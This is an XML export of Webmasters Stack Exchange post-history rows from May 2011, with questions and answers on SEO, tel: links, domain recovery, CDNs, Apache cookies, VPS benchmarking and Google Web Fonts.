  <row Id="33502" PostHistoryTypeId="5" PostId="14270" RevisionGUID="f13c9d72-df75-46e4-8c12-24aa61ad2bed" CreationDate="2011-05-24T13:59:44.190" UserId="7751" Comment="added 7 characters in body" Text="The better question is, are there any that currently DO NOT support auto linking of phone numbers by default? Main support for iPhone, Android, BB, Windows Phone, Palm.&#xD;&#xA;&#xD;&#xA;I'm trying to determine if I should be adding href tags to the phone numbers on multiple client sites (e.g. `&lt;a href=&quot;tel:+1-800-555-1212&quot;&gt;800-555-1212&lt;/a&gt;`). The only reason I would be doing such a thing at this point is to allow for backwards mobile (or future) compatibility, however, I'm having a hard time determining if it's worth the time or effort, as these links currently don't do much in a normal browser (FF, IE, Chrome, Safari, etc)." />
  <row Id="33503" PostHistoryTypeId="2" PostId="14311" RevisionGUID="acc2a4b1-345e-4555-8cb6-bfc598bac898" CreationDate="2011-05-24T14:42:30.633" UserId="7775" Text="For example, I have a product page&#xD;&#xA;&#xD;&#xA;    http://www.myshop.com/product/iphone.html&#xD;&#xA;&#xD;&#xA;in this page, normal users will see:&#xD;&#xA;&#xD;&#xA;- content area (about the iPhone itself)&#xD;&#xA;- sidebar links (links to other products: HTC, Samsung)&#xD;&#xA;- footer area (about the seller)&#xD;&#xA;&#xD;&#xA;but *googlebot* only see content area. I hide sidebar links and footer area from *googlebot*.&#xD;&#xA;&#xD;&#xA;I do this so that if someone *google* '`htc site:myshop.com`', he/she will not see that iPhone page in search results.&#xD;&#xA;&#xD;&#xA;Will this cause any SEO problem? (I'm afraid google consider this as cheating their *googlebot* and punish the website)" />
  <row Id="33504" PostHistoryTypeId="1" PostId="14311" RevisionGUID="acc2a4b1-345e-4555-8cb6-bfc598bac898" CreationDate="2011-05-24T14:42:30.633" UserId="7775" Text="hide some area (sidebar/footer) from googlebot. causing any SEO problem?" />
  <row Id="33505" PostHistoryTypeId="3" PostId="14311" RevisionGUID="acc2a4b1-345e-4555-8cb6-bfc598bac898" CreationDate="2011-05-24T14:42:30.633" UserId="7775" Text="&lt;seo&gt;&lt;google-crawlers&gt;" />
  <row Id="33506" PostHistoryTypeId="2" PostId="14312" RevisionGUID="62423653-d22a-40de-92d8-42446577c34a" CreationDate="2011-05-24T15:00:08.940" UserId="4362" Text="It's a bad idea to hide elements for google, google is smart and you could definitely get punished for this.&#xD;&#xA;&#xD;&#xA;Read more here: [http://www.google.com/support/webmasters/bin/answer.py?answer=66355][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66355" />
  <row Id="33507" PostHistoryTypeId="2" PostId="14313" RevisionGUID="cc88cc07-8be0-4971-8b20-4639bb738639" CreationDate="2011-05-24T15:07:06.010" UserId="7474" Text="Does installing PHP using the Microsoft IIS  Web Platform Installer require a restart?&#xD;&#xA;&#xD;&#xA;I don't want downtime. *But I don't want to manually install it either.*" />
  <row Id="33508" PostHistoryTypeId="1" PostId="14313" RevisionGUID="cc88cc07-8be0-4971-8b20-4639bb738639" CreationDate="2011-05-24T15:07:06.010" UserId="7474" Text="Does installing PHP using the Microsoft IIS Web Platform Installer require a restart?" />
  <row Id="33509" PostHistoryTypeId="3" PostId="14313" RevisionGUID="cc88cc07-8be0-4971-8b20-4639bb738639" CreationDate="2011-05-24T15:07:06.010" UserId="7474" Text="&lt;php&gt;&lt;server&gt;&lt;iis&gt;&lt;microsoft&gt;&lt;web-platform-installer&gt;" />
  <row Id="33510" PostHistoryTypeId="25" PostId="14311" RevisionGUID="25b99a27-9f1a-4d9a-9c1a-dead9a5d5bcc" CreationDate="2011-05-24T15:12:38.490" Comment="http://twitter.com/#!/StackWebmasters/status/73043733251235840" />
  <row Id="33511" PostHistoryTypeId="17" PostId="14314" RevisionGUID="7fce705a-8257-4918-a1bb-f04a957ed7c3" CreationDate="2011-05-24T15:13:47.570" UserId="-1" Comment="from http://stackoverflow.com/questions/6112622/someone-is-spoofing-my-website-what-can-i-do" Text="" />
  <row Id="33512" PostHistoryTypeId="2" PostId="14314" RevisionGUID="2007a72a-34fe-49c0-bb54-969de5c2f864" CreationDate="2011-05-24T15:07:44.283" UserDisplayName="dev.e.loper" Text="Someone registered a domain name that is close to mine and ripped off the UI. The website makes it look like you have to answer some quiz before entering the web app.  What can I do? Do I complain to the company that gave him that domain? " />
  <row Id="33513" PostHistoryTypeId="1" PostId="14314" RevisionGUID="2007a72a-34fe-49c0-bb54-969de5c2f864" CreationDate="2011-05-24T15:07:44.283" UserDisplayName="dev.e.loper" Text="Someone is spoofing my website, what can I do?" />
  <row Id="33514" PostHistoryTypeId="3" PostId="14314" RevisionGUID="2007a72a-34fe-49c0-bb54-969de5c2f864" CreationDate="2011-05-24T15:07:44.283" UserDisplayName="dev.e.loper" Text="&lt;spam&gt;" />
  <row Id="33515" PostHistoryTypeId="6" PostId="14314" RevisionGUID="417d5277-a6d5-43c2-9fda-24410c389f0c" CreationDate="2011-05-24T15:16:24.060" UserId="1253" Comment="modified tags" Text="&lt;legal&gt;" />
  <row Id="33516" PostHistoryTypeId="2" PostId="14315" RevisionGUID="986a18ba-415c-4224-bb7a-10af6281edb5" CreationDate="2011-05-24T15:16:57.383" UserId="7776" Text="The wikipedia article have an example of [take down action][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#Takedown_example" />
  <row Id="33517" PostHistoryTypeId="2" PostId="14316" RevisionGUID="d72dfcd9-e80a-4201-b6f0-1cb3546aa0ee" CreationDate="2011-05-24T15:20:14.197" UserId="1253" Text="[It doesn't look like it is required but is recommended][1].&#xD;&#xA;&#xD;&#xA;&gt; **Best Practices for Using Web PI**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Follow these best practices to prevent&#xD;&#xA;&gt; errors or installation issues when&#xD;&#xA;&gt; using the Web PI.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Close all programs and restart your&#xD;&#xA;&gt; computer.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The Web PI functions by running the&#xD;&#xA;&gt; setup for the selected applications&#xD;&#xA;&gt; one after the other, as in a chain.&#xD;&#xA;&gt; These setup programs are run&#xD;&#xA;&gt; “silently,” meaning they run without&#xD;&#xA;&gt; displaying a user interface. In some&#xD;&#xA;&gt; cases, setup programs will block an&#xD;&#xA;&gt; installation if certain applications&#xD;&#xA;&gt; are running. For this reason, all&#xD;&#xA;&gt; applications should be closed or&#xD;&#xA;&gt; stopped. A simple way to do this is to&#xD;&#xA;&gt; restart your computer. If an&#xD;&#xA;&gt; application is configured to start&#xD;&#xA;&gt; when Windows starts, you will need to&#xD;&#xA;&gt; close it manually.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sometimes the Web PI encounters a&#xD;&#xA;&gt; problem due to a pending restart.&#xD;&#xA;&gt; Certain operations require a restart&#xD;&#xA;&gt; (for example, if system dynamic-link&#xD;&#xA;&gt; libraries (DLLs) are replaced by a&#xD;&#xA;&gt; system update or hotfix installation).&#xD;&#xA;&gt; Setup programs can, and do, block the&#xD;&#xA;&gt; installation when a restart is&#xD;&#xA;&gt; pending.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://learn.iis.net/page.aspx/616/using-the-microsoft-web-platform-installer/" />
  <row Id="33518" PostHistoryTypeId="2" PostId="14317" RevisionGUID="7febbadf-315a-40bc-b649-46a74d7180d6" CreationDate="2011-05-24T15:21:31.733" UserId="7405" Text="From the previous times I have used it, I don't recall being prompted for a restart (although I usually install manually).  The best way to verify this would be to setup a dev server and test it.  This should be standard procedure before doing anything in a production environment, especially if you are concerned with downtime.&#xD;&#xA;&#xD;&#xA;Measure twice...cut once." />
  <row Id="33519" PostHistoryTypeId="5" PostId="14314" RevisionGUID="bec5c8c9-bf97-470d-95cd-cddd4e4dfa3b" CreationDate="2011-05-24T15:32:21.977" UserId="7777" Comment="added 112 characters in body" Text="Someone registered a domain name that is close to mine and ripped off the UI. The website makes it look like you have to answer some quiz before entering the web app.  What can I do? Do I complain to the company that gave him that domain? &#xD;&#xA;&#xD;&#xA;They basically took a screenshot of our homepage and put up a modal window asking people to take some quiz. " />
  <row Id="33524" PostHistoryTypeId="5" PostId="14314" RevisionGUID="296616be-e942-473f-9a2c-81761c7a63d7" CreationDate="2011-05-24T15:55:39.923" UserId="7777" Comment="added 90 characters in body; deleted 50 characters in body" Text="Someone registered a domain name that is close to mine used a different suffix (.info) and ripped off the UI. They took a screenshot of our homepage put it on their site and put up a modal window asking people to take some quiz.  What can I do? Do I complain to the company that gave him that domain? &#xD;&#xA;&#xD;&#xA;They also using tweeter and posted a youtube video of our site with their name on it. " />
  <row Id="33525" PostHistoryTypeId="2" PostId="14319" RevisionGUID="c7a1b91b-5a72-4e89-9837-12995ce49b8a" CreationDate="2011-05-24T16:30:21.520" UserId="7019" Text="You might consider getting both atriya-sen.com and atriyasen.com, and maybe have one redirect to the other? (Though I'm not sure how this affects SEO.) As for hosting, I recommend [&quot;Nearly Free Speech&quot;][1]. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.nearlyfreespeech.net/ &quot;Nearly Free Speech&quot;" />
  <row Id="33526" PostHistoryTypeId="2" PostId="14320" RevisionGUID="a85272c8-9928-4a04-9a42-fb727c8b1cf7" CreationDate="2011-05-24T16:37:14.350" UserId="7780" Text="I have an old client who wanted to transfer hosting companies. However, the company he has managing his domain has gone under and won't respond to phone calls or emails, and their account manager is down.&#xD;&#xA;&#xD;&#xA;Never have come across a situation like this, what can I do to get his domain to a different company?" />
  <row Id="33527" PostHistoryTypeId="1" PostId="14320" RevisionGUID="a85272c8-9928-4a04-9a42-fb727c8b1cf7" CreationDate="2011-05-24T16:37:14.350" UserId="7780" Text="Recover Domain from Failed Company" />
  <row Id="33528" PostHistoryTypeId="3" PostId="14320" RevisionGUID="a85272c8-9928-4a04-9a42-fb727c8b1cf7" CreationDate="2011-05-24T16:37:14.350" UserId="7780" Text="&lt;web-hosting&gt;&lt;domain-registration&gt;&lt;transfer&gt;" />
  <row Id="33529" PostHistoryTypeId="2" PostId="14321" RevisionGUID="ce8023f1-569e-414f-8ba2-e7c82dae5123" CreationDate="2011-05-24T17:26:51.297" UserId="7405" Text="First, find out who the actual domain registrar is.  You may be able to contact the registrar directly for assistance in getting the domain ownership ironed out and will likely have to provide proof of domain ownership.&#xD;&#xA;&#xD;&#xA;The new hosting company may have experience in dealing with these situations.  Contacting their Support department may also be a good step to take.&#xD;&#xA;&#xD;&#xA;There is information on the [ICANN site about registrar issues][1].  They will not actually resolve the issue but may be able to facilitate getting it taken care of.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.icann.org/en/dispute-resolution/#services" />
  <row Id="33530" PostHistoryTypeId="25" PostId="14320" RevisionGUID="f82ec682-e5c7-4631-85cc-f88515110635" CreationDate="2011-05-24T18:12:37.957" Comment="http://twitter.com/#!/StackWebmasters/status/73089031772180480" />
  <row Id="33531" PostHistoryTypeId="5" PostId="1256" RevisionGUID="04b5d705-764d-46fb-b52d-4fdf420c0271" CreationDate="2011-05-24T18:34:59.890" UserId="480" Comment="added 106 characters in body; edited tags; edited body" Text="While Google hosts [this list][1] and Microsoft hosts [this one][2] there are several files missing such as [jQuery UI CSS][3]. Where can I find a complete listing of all the resources offered for major AJAX CDNs, especially Google and Microsoft (due to popularity)?&#xD;&#xA;&#xD;&#xA;**CDNs listings found so far** (mostly thanks to [artlung][4]):&#xD;&#xA;&#xD;&#xA;- Google:&#xD;&#xA;http://code.google.com/apis/ajaxlibs/documentation&#xD;&#xA;*([Darryl Hein][5] also found http://scriptsrc.net for easier access)*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Microsoft: http://www.asp.net/ajaxlibrary/cdn.ashx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- AOL: http://o.aolcdn.com (can only find http://dev.aol.com/dojo for references to URLs)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Yahoo: http://developer.yahoo.com/yui/articles/hosting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Google CDN Hosted jQuery UI Themes**&#xD;&#xA;&#xD;&#xA;[Base][7], [Black-Tie][8], [Blitzer][9], [Cupertino][10], [Dark-Hive][11], [Dot-Luv][12], [Eggplant][13], [Excite-Bike][14], [Flick][15], [Hot-Sneaks][16], [Humanity][17], [Le-Frog][18], [Mint-Choc][19], [Overcast][20], [Pepper-Grinder][21], [Redmond][22], [Smoothness][23], [South-Street][24], [Start][25], [Sunny][26], [Swanky-Purse][27], [Trontastic][28], [UI-Darkness][29], [UI-Lightness][30] and [Vader][31].&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;Just use [CDN JS][6] for all the hosting from one domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/ajaxlibs/documentation/&#xD;&#xA;  [2]: http://www.asp.net/ajaxlibrary/cdn.ashx&#xD;&#xA;  [3]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.1/themes/base/jquery-ui.css&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/users/26/artlung&#xD;&#xA;  [5]: http://webmasters.stackexchange.com/users/210/darryl-hein&#xD;&#xA;  [6]: http://www.cdnjs.com/&#xD;&#xA;  [7]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/base/jquery-ui.css&#xD;&#xA;  [8]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/black-tie/jquery-ui.css&#xD;&#xA;  [9]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/blitzer/jquery-ui.css&#xD;&#xA;  [10]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/cupertino/jquery-ui.css&#xD;&#xA;  [11]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/dark-hive/jquery-ui.css&#xD;&#xA;  [12]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/dot-luv/jquery-ui.css&#xD;&#xA;  [13]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/eggplant/jquery-ui.css&#xD;&#xA;  [14]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/excite-bike/jquery-ui.css&#xD;&#xA;  [15]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/flick/jquery-ui.css&#xD;&#xA;  [16]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/hot-sneaks/jquery-ui.css&#xD;&#xA;  [17]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/humanity/jquery-ui.css&#xD;&#xA;  [18]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/le-frog/jquery-ui.css&#xD;&#xA;  [19]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/mint-choc/jquery-ui.css&#xD;&#xA;  [20]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/overcast/jquery-ui.css&#xD;&#xA;  [21]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/pepper-grinder/jquery-ui.css&#xD;&#xA;  [22]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/redmond/jquery-ui.css&#xD;&#xA;  [23]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/smoothness/jquery-ui.css&#xD;&#xA;  [24]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/south-street/jquery-ui.css&#xD;&#xA;  [25]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/start/jquery-ui.css&#xD;&#xA;  [26]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/sunny/jquery-ui.css&#xD;&#xA;  [27]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/swanky-purse/jquery-ui.css&#xD;&#xA;  [28]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/trontastic/jquery-ui.css&#xD;&#xA;  [29]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/ui-darkness/jquery-ui.css&#xD;&#xA;  [30]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/ui-lightness/jquery-ui.css&#xD;&#xA;  [31]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/vader/jquery-ui.css" />
  <row Id="33532" PostHistoryTypeId="6" PostId="1256" RevisionGUID="04b5d705-764d-46fb-b52d-4fdf420c0271" CreationDate="2011-05-24T18:34:59.890" UserId="480" Comment="added 106 characters in body; edited tags; edited body" Text="&lt;google&gt;&lt;ajax&gt;&lt;cdn&gt;&lt;microsoft&gt;" />
  <row Id="33542" PostHistoryTypeId="2" PostId="14324" RevisionGUID="6f9c73f9-fcb8-4bde-a8cc-058700ad8c00" CreationDate="2011-05-24T20:00:21.373" UserId="7546" Text="It seems that my menu bar is displayed with a different font stretch in Firefox than it is in Chrome. See the following: &#xD;&#xA;&#xD;&#xA;http://img24.imageshack.us/img24/296/navigationrl.png&#xD;&#xA;&#xD;&#xA;Here is the CSS applied to this element:&#xD;&#xA;&#xD;&#xA;    font-variant: small-caps;&#xD;&#xA;    font-size:13px;&#xD;&#xA;    letter-spacing: 0px;&#xD;&#xA;    font-family: Arial;&#xD;&#xA;    font-stretch: normal;&#xD;&#xA;    text-decoration: none;&#xD;&#xA;&#xD;&#xA;As far as I can tell everything regarding that font is exactly the same, yet they still display differently (see pic). &#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="33543" PostHistoryTypeId="1" PostId="14324" RevisionGUID="6f9c73f9-fcb8-4bde-a8cc-058700ad8c00" CreationDate="2011-05-24T20:00:21.373" UserId="7546" Text="Font displays differently in Firefox vs. Chrome" />
  <row Id="33544" PostHistoryTypeId="3" PostId="14324" RevisionGUID="6f9c73f9-fcb8-4bde-a8cc-058700ad8c00" CreationDate="2011-05-24T20:00:21.373" UserId="7546" Text="&lt;css&gt;&lt;firefox&gt;&lt;chrome&gt;" />
  <row Id="33545" PostHistoryTypeId="2" PostId="14325" RevisionGUID="561539f0-2b1f-4985-b492-ca3dd0a4aeb5" CreationDate="2011-05-24T21:02:30.063" UserId="7575" Text="The question is pretty self explanatory. Is using of heavy graphics with img tag or in css effects google ranking?&#xD;&#xA;&#xD;&#xA;Sometimes sites are heavy because of images used or flash or lots of javascripts make there loading time highter. Is the loading time also effects google ranking?&#xD;&#xA;&#xD;&#xA;I said about google but the question applies for all search engine." />
  <row Id="33546" PostHistoryTypeId="1" PostId="14325" RevisionGUID="561539f0-2b1f-4985-b492-ca3dd0a4aeb5" CreationDate="2011-05-24T21:02:30.063" UserId="7575" Text="Is heavy graphics site/ high loading time effects google/search engine ranking?" />
  <row Id="33547" PostHistoryTypeId="3" PostId="14325" RevisionGUID="561539f0-2b1f-4985-b492-ca3dd0a4aeb5" CreationDate="2011-05-24T21:02:30.063" UserId="7575" Text="&lt;seo&gt;" />
  <row Id="33548" PostHistoryTypeId="25" PostId="14314" RevisionGUID="cee9a86f-ddad-4712-b92f-4e16c5af8bb5" CreationDate="2011-05-24T21:12:38.603" Comment="http://twitter.com/#!/StackWebmasters/status/73134332235096064" />
  <row Id="33549" PostHistoryTypeId="2" PostId="14326" RevisionGUID="723a4dbd-994a-4e1d-864d-1c5d685a5d00" CreationDate="2011-05-24T21:32:51.993" UserId="7786" Text="Ha, is it, is it Hierarchical?        Or not?_________-------___...._______________________--------" />
  <row Id="33550" PostHistoryTypeId="1" PostId="14326" RevisionGUID="723a4dbd-994a-4e1d-864d-1c5d685a5d00" CreationDate="2011-05-24T21:32:51.993" UserId="7786" Text="topology that metropolitan area networks may be seen as having?" />
  <row Id="33551" PostHistoryTypeId="3" PostId="14326" RevisionGUID="723a4dbd-994a-4e1d-864d-1c5d685a5d00" CreationDate="2011-05-24T21:32:51.993" UserId="7786" Text="&lt;networking&gt;" />
  <row Id="33552" PostHistoryTypeId="2" PostId="14327" RevisionGUID="f91374c2-cc4d-4db2-943f-45db2c441be4" CreationDate="2011-05-24T21:34:56.503" UserId="1077" Text="[Yes][1], but it's not a heavily weighted parameter.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html" />
  <row Id="33553" PostHistoryTypeId="2" PostId="14328" RevisionGUID="1a2096a4-dde0-4ebe-a026-870f8f412d6b" CreationDate="2011-05-24T21:56:48.523" UserId="7787" Text="Two common reasons why this may not work:&#xD;&#xA;&#xD;&#xA;- Your facebook username should be included in a meta tag inside of the html header like so:&#xD;&#xA;&#xD;&#xA;&gt;     &lt;meta property=”fb:admins” content=”FACEBOOK_USER_ID” /&gt; &#xD;&#xA;&#xD;&#xA;Where FACEBOOK_USER_ID is your Facebook username.&#xD;&#xA;&#xD;&#xA;-  Set your Facebook username by logging into your facebook account. Go to Account &gt; Account Settings &gt; Settings &gt; Username " />
  <row Id="33554" PostHistoryTypeId="2" PostId="14329" RevisionGUID="0620651f-1b35-4b16-998d-2458688b7629" CreationDate="2011-05-24T22:01:20.957" UserId="1076" Text="Assuming you want to run some flavour of Linux in your VPS, the [GoDaddy documentation for Linux on VPS](http://community.godaddy.com/help/category/60/virtual-dedicated-linux/) should help to get you going." />
  <row Id="33555" PostHistoryTypeId="10" PostId="14326" RevisionGUID="1dc01048-28bc-4013-8933-28d05aaebaf8" CreationDate="2011-05-24T22:04:26.670" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33556" PostHistoryTypeId="2" PostId="14330" RevisionGUID="b9a83f96-d50d-415c-84a1-0d4fd3d9c085" CreationDate="2011-05-24T22:15:18.053" UserId="7788" Text="We have the following cookie set by a product:&#xD;&#xA;Set-Cookie: SSOCookie=T7ngsCmzC2FEq5p2a7o%3D; path=/; domain=.demo.com;&#xD;&#xA;&#xD;&#xA;We would like to use Apache to remove the trailing ; which doesn't match the Cookie specification. Can we use mod-rewrite? How?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;We are using Apache/2.0.47.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33557" PostHistoryTypeId="1" PostId="14330" RevisionGUID="b9a83f96-d50d-415c-84a1-0d4fd3d9c085" CreationDate="2011-05-24T22:15:18.053" UserId="7788" Text="How to use apache mod-rewrite to remove trailing semi-colon on cookie?" />
  <row Id="33558" PostHistoryTypeId="3" PostId="14330" RevisionGUID="b9a83f96-d50d-415c-84a1-0d4fd3d9c085" CreationDate="2011-05-24T22:15:18.053" UserId="7788" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="33559" PostHistoryTypeId="2" PostId="14331" RevisionGUID="9d13863a-27eb-4d36-a364-3e084be3e2a7" CreationDate="2011-05-24T22:52:22.190" UserId="7147" Text="Is there any profile tool to tell which VPS I own is better? I have a VPS from rubyringtech &amp; a VPS from burstNET. Both are CentOS 5.6 one is a intel i7 2600 &amp; the other is a Xeon.  &#xD;&#xA;&#xD;&#xA;Is there any unix software I can use to test to see which one performs better?" />
  <row Id="33560" PostHistoryTypeId="1" PostId="14331" RevisionGUID="9d13863a-27eb-4d36-a364-3e084be3e2a7" CreationDate="2011-05-24T22:52:22.190" UserId="7147" Text="Is there a way I can test which one of my VPS's is better?" />
  <row Id="33561" PostHistoryTypeId="3" PostId="14331" RevisionGUID="9d13863a-27eb-4d36-a364-3e084be3e2a7" CreationDate="2011-05-24T22:52:22.190" UserId="7147" Text="&lt;vps&gt;" />
  <row Id="33562" PostHistoryTypeId="2" PostId="14332" RevisionGUID="a36690c3-a89a-4fd3-bf11-bec2c74a65c5" CreationDate="2011-05-24T23:01:14.627" UserId="7790" Text="I hooked into this one on Planet Source Code many years ago. It has worked very well for me for multiple pages. See: [http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=1998&amp;lngWId=14][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=1998&amp;lngWId=14" />
  <row Id="33567" PostHistoryTypeId="25" PostId="14325" RevisionGUID="bbb75e1a-6a5f-4245-a7a9-93791e6cefcb" CreationDate="2011-05-25T00:12:38.547" Comment="http://twitter.com/#!/StackWebmasters/status/73179628759552001" />
  <row Id="33568" PostHistoryTypeId="2" PostId="14335" RevisionGUID="3d14f30d-5b8a-4775-9b2e-87bc2eb697ca" CreationDate="2011-05-25T00:14:04.877" UserId="1064" Text="The [UnixBench][1] script is a popular benchmarking tool, however, you should keep in mind that your results will vary depending upon what your neighbors are up to when you're using a VPS and your hosting provider will *not* appreciate it if you're running a benchmarking script regularly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/byte-unixbench/" />
  <row Id="33570" PostHistoryTypeId="2" PostId="14337" RevisionGUID="4d94a7b1-1485-4c39-a6fa-9c820c956de7" CreationDate="2011-05-25T01:27:41.230" UserId="7792" Text="The process to recreate this is:&lt;br /&gt;&#xD;&#xA;(1) Go to an Application Profile Page.&lt;br /&gt;&#xD;&#xA;(2) Click &quot;Add to My Page&quot; on the bottom left of the Application Profile Page.&lt;br /&gt;&#xD;&#xA;(3) Go to the Facebook Page the application was added to.&lt;br /&gt;&#xD;&#xA;(4) On the left side of that Facebook Page click &quot;Edit&quot; and remove the application from the page&lt;br /&gt;&#xD;&#xA;(5) Go back to the Application Profile Page and try to repeat the process.&lt;br /&gt;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;I'm not sure if anybody else has this issue or if there's some sort of an option I'm not seeing but if the application gets removed from the Facebook Page I am unable to re-add it and I have to create a whole new application within Facebook in order to add it back to the page. Has anybody run into this problem and/or solved it with some sort of setting in Facebook?" />
  <row Id="33571" PostHistoryTypeId="1" PostId="14337" RevisionGUID="4d94a7b1-1485-4c39-a6fa-9c820c956de7" CreationDate="2011-05-25T01:27:41.230" UserId="7792" Text="Cannot add application back to My Facebook Page after deleting it from that page" />
  <row Id="33572" PostHistoryTypeId="3" PostId="14337" RevisionGUID="4d94a7b1-1485-4c39-a6fa-9c820c956de7" CreationDate="2011-05-25T01:27:41.230" UserId="7792" Text="&lt;facebook&gt;&lt;facebook-application&gt;" />
  <row Id="33576" PostHistoryTypeId="4" PostId="14314" RevisionGUID="6dbc53ce-e38a-4bf7-b432-a07330e1e9cb" CreationDate="2011-05-25T02:09:01.977" UserId="7789" Comment="removed comma splice" Text="What can I do if someone is spoofing my site?" />
  <row Id="33577" PostHistoryTypeId="24" PostId="14314" RevisionGUID="6dbc53ce-e38a-4bf7-b432-a07330e1e9cb" CreationDate="2011-05-25T02:09:01.977" Comment="Proposed by 7789 approved by 1253 edit id of 346" />
  <row Id="33578" PostHistoryTypeId="6" PostId="14299" RevisionGUID="e300409d-5bb6-4fe9-94da-6aa9d4b31cd4" CreationDate="2011-05-25T02:09:14.270" UserId="6901" Comment="added a tag" Text="&lt;html&gt;&lt;javascript&gt;&lt;looking-for-a-script&gt;&lt;search&gt;&lt;site-search&gt;" />
  <row Id="33579" PostHistoryTypeId="24" PostId="14299" RevisionGUID="e300409d-5bb6-4fe9-94da-6aa9d4b31cd4" CreationDate="2011-05-25T02:09:14.270" Comment="Proposed by 6901 approved by 1253 edit id of 347" />
  <row Id="33580" PostHistoryTypeId="2" PostId="14339" RevisionGUID="88470f82-41e9-4aa4-8392-564b5347bba5" CreationDate="2011-05-25T02:28:18.460" UserId="7796" Text="Google introduced the new parameter &quot;text&quot; to the Google Web Fonts API, where you can choose which letters will come from your request (for when you only need few letters for the logo)&#xD;&#xA;&#xD;&#xA;The introdution of the new parameter is explained [here][1]&#xD;&#xA;&#xD;&#xA;But if I insert this Blogger Template:&#xD;&#xA;&#xD;&#xA;    &lt;link href='http://fonts.googleapis.com/css?family=Over+the+Rainbow:regular&amp;text=PulaAe' rel='stylesheet' type='text/css'/&gt;&#xD;&#xA;&#xD;&#xA;I get this error:&#xD;&#xA;&#xD;&#xA;    The reference to entity &quot;text&quot; must end with the ';' delimiter.&#xD;&#xA;&#xD;&#xA;Someone knows how is the right way to use this new parameter within Blogger?&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebfonts.blogspot.com/2011/04/streamline-your-web-font-requests.html" />
  <row Id="33581" PostHistoryTypeId="1" PostId="14339" RevisionGUID="88470f82-41e9-4aa4-8392-564b5347bba5" CreationDate="2011-05-25T02:28:18.460" UserId="7796" Text="How to use Google Web Fonts &quot;text&quot; parameter on Blogger?" />
  <row Id="33582" PostHistoryTypeId="3" PostId="14339" RevisionGUID="88470f82-41e9-4aa4-8392-564b5347bba5" CreationDate="2011-05-25T02:28:18.460" UserId="7796" Text="&lt;google&gt;&lt;fonts&gt;&lt;template&gt;&lt;blogger&gt;&lt;xml&gt;" />
  <row Id="33583" PostHistoryTypeId="2" PostId="14340" RevisionGUID="dbff6fc7-96fd-4d48-9c43-b420eb2f444c" CreationDate="2011-05-25T02:44:07.270" UserId="1064" Text="&gt; The reference to entity &quot;text&quot; must&#xD;&#xA;&gt; end with the ';' delimiter.&#xD;&#xA;&#xD;&#xA;This appears to be an HTML validation error.&#xD;&#xA;&#xD;&#xA;Try this `&lt;link&gt;` instead:&#xD;&#xA;&#xD;&#xA;    &lt;link href='http://fonts.googleapis.com/css?family=Over+the+Rainbow:regular&amp;amp;text=PulaAe' rel='stylesheet' type='text/css'/&gt;&#xD;&#xA;" />
